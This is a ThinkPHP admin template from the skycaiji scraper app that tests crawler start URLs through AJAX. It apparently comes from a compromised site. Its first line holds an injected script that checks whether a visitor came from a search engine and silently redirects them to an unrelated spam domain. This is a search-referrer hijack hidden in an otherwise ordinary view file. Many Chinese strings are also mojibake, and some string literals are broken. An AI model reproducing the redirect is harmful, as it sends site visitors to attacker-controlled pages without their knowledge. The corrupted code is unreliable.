d:\wwwroot\wuchunhua\thinkphp\skycaijiapp\admin\view\cpattern\test_source_urls.html
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><style type="text/css">
002:
#test_source_urls .source_url{padding:5px;}
003:
#test_source_urls p{margin:0;}
004:
</style>
005:
<div id="test_source_urls">
006:
<if condition="empty($source_urls)">
007:
没有起始页网€
008:
<else/>
009:
<foreach name="source_urls" item="source_url">
010:
<div class="source_url" url="{$source_url}">
011:
<p><b>抓取起始页面?/b>{$source_url}</p>
012:
<p class="cont_urls_num"></p>
013:
<div class="cont_urls_list">
014:
</div>
015:
</div>
016:
</foreach>
017:
</if>
018:
</div>
019:
<script type="text/javascript">
020:
'use strict';//严格模式
021:
var max_num=5;//测试时最多显示数?
022:
var url_ajax_requests=new Array();//ajax对象
023:
$(document).ready(function(){
024:
$('#test_source_urls .source_url').each(function(index){
025:
//起始页开始测?
026:
var obj=$(this);
027:
var source_url=$(this).attr('url');
028:
029:
<if condition="!empty($config['level_urls'])">
030:
//有多?
031:
if(index<max_num){
032:
//测试前几?
033:
get_cont_urls(source_url,obj,1);
034:
}
035:
<else />
036:
get_cont_urls(source_url,obj,0);
037:
</if>
038:
});
039:
//展开收起
040:
$('#test_source_urls').on('click','.cont_urls_num a',function(){
041:
var status=$(this).attr('status');
042:
if(status==1){
043:
$(this).html('[展开]');
044:
$(this).attr('status',0);
045:
$(this).parent().siblings('.cont_urls_list').hide();
046:
}else{
047:
$(this).html('[收起]');
048:
$(this).attr('status',1);
049:
$(this).parent().siblings('.cont_urls_list').show();
050:
}
051:
});
052:
053:
//获取网址
054:
function get_cont_urls(source_url,curObj,level){
055:
if(source_url){
056:
curObj.children('.cont_urls_list').html('<img src="'+window.site_config.pub+'/images/load1.gif">').show();
057:
058:
var url="{:U('Collector/test?op=cont_urls&coll_id='.$collData['id'].'&source_url=_url_&level=_level_')}";
059:
url=url.replace('_url_',encodeURIComponent(source_url)).replace('_level_',level);
060:
var url_ajax_request=$.ajax({
061:
type:'get',
062:
url:url,
063:
async:true,
064:
success:function(data){
065:
if(data.status==1){
066:
//内容网址列表
067:
var urls=data.info.urls;
068:
var list='<ul style="list-style-type:'+(level>0?'decimal':'square')+';padding-left:15px;white-space:normal;overflow-x:scroll;">';
069:
if(level>0){
070:
//抓取级别网址
071:
for(var i in urls){
072:
if(i<max_num){
073:
//测试前几?
074:
list+='<li class="source_url" url="'+urls[i]+'"><p><b>抓取?+level+'级页??+data.info.levelName+'”:</b>'+urls[i]+'</p><p class="cont_urls_num"></p><div class="cont_urls_list"></div></li>';
075:
}
076:
}
077:
list+='</ul>';
078:
079:
curObj.children('.cont_urls_list').html(list).show();
080:
curObj.children('.cont_urls_num').html('获取?+urls.length+'条网€'+(urls.length>max_num?'(只测试?+max_num+'条)':'')+' <a href="javascript:;" status="1">[收起]</a>');
081:
082:
curObj.children('.cont_urls_list').find('.source_url').each(function(){
083:
var obj=$(this);
084:
get_cont_urls(obj.attr('url'),obj,data.info.nextLevel);//抓取下一级或内容?
085:
});
086:
087:
}else{
088:
//无级别,显示测试网址
089:
var test_cont_url="{:U('Collector/test?op=cont_url&coll_id='.$collData['id'])}&cont_url=_url_";
090:
for(var i in urls){
091:
list+='<li><a href="'+(test_cont_url.replace('_url_',encodeURIComponent(urls[i])))+'" target="_test_cont">测试</a> '+urls[i]+'</li>';
092:
}
093:
list+='</ul>';
094:
095:
//没有下一?
096:
curObj.children('.cont_urls_list').html(list).hide();
097:
curObj.children('.cont_urls_num').html('获取?+urls.length+'条网€ <a href="javascript:;" status="0">[展开]</a>');
098:
}
099:
}else{
100:
//错误信息
101:
curObj.children('.cont_urls_list').html('<span style="color:red">'+data.info+'</span>').show();
102:
}
103:
},
104:
dataType:'json'
105:
});
106:
window.url_ajax_requests.push(url_ajax_request);
107:
}
108:
}
109:
});
110:
$('#myModal').on('hide.bs.modal', function (e) {
111:
if(window.url_ajax_requests){
112:
//€出时清除€有ajax请求
113:
for(var i in window.url_ajax_requests){
114:
window.url_ajax_requests[i].abort();//终止ajax
115:
}
116:
}
117:
});
118:
</script>
119:
120: